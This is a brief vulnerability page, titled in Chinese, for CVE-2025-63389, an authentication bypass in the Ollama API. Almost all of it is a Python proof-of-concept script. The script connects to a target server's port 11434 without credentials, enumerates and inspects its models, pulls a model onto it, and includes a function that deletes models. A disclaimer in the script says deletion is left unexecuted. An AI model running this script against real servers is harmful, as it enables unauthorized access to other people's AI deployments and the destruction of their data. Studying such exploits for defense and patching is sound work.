CVE-2025-63389: Ollama平台API认证绕过漏洞

import requests import json # CVE-2025-63389 PoC - Ollama Authentication Bypass # Target: Ollama API endpoints without authentication TARGET_IP = "<target_ip>" TARGET_PORT = "11434" BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}" def check_ollama_version(): """Check Ollama version""" try: resp = requests.get(f"{BASE_URL}/api/version", timeout=5) print(f"[*] Ollama Version: {resp.json().get('version', 'unknown')}") return True except Exception as e: print(f"[!] Failed to connect: {e}") return False def list_models(): """List all available models - No auth required""" try: resp = requests.get(f"{BASE_URL}/api/tags", timeout=5) if resp.status_code == 200: models = resp.json().get('models', []) print(f"[*] Found {len(models)} models:") for model in models: print(f" - {model.get('name')} ({model.get('size', 'unknown')} bytes)") return models except Exception as e: print(f"[!] Failed to list models: {e}") return [] def pull_model(model_name): """Pull a model from registry - No auth required""" try: print(f"[*] Pulling model: {model_name}") resp = requests.post( f"{BASE_URL}/api/pull", json={"name": model_name}, stream=True, timeout=300 ) print(f"[*] Pull response status: {resp.status_code}") return resp.status_code == 200 except Exception as e: print(f"[!] Failed to pull model: {e}") return False def delete_model(model_name): """Delete a model - No auth required""" try: print(f"[*] Deleting model: {model_name}") resp = requests.delete( f"{BASE_URL}/api/delete", json={"name": model_name} ) print(f"[*] Delete response status: {resp.status_code}") return resp.status_code == 200 except Exception as e: print(f"[!] Failed to delete model: {e}") return False def get_model_info(model_name): """Get model information - No auth required""" try: print(f"[*] Getting info for model: {model_name}") resp = requests.post( f"{BASE_URL}/api/show", json={"name": model_name} ) if resp.status_code == 200: print(f"[*] Model info: {json.dumps(resp.json(), indent=2)}") return resp.json() except Exception as e: print(f"[!] Failed to get model info: {e}") return None def main(): print("=" * 60) print("CVE-2025-63389 PoC - Ollama Authentication Bypass") print("=" * 60) if not check_ollama_version(): print("[!] Ollama service not accessible") return # List all models (information disclosure) print("\n[+] Step 1: Enumerate available models") models = list_models() if not models: print("[*] No models found, trying to pull one...") pull_model("llama2") list_models() # Demonstrate unauthorized model operations if models: target_model = models[0].get('name') print(f"\n[+] Step 2: Get model info (unauthorized)") get_model_info(target_model) print(f"\n[!] WARNING: Model deletion would destroy: {target_model}") print("[+] For educational purposes only - do not execute delete") if __name__ == "__main__": main()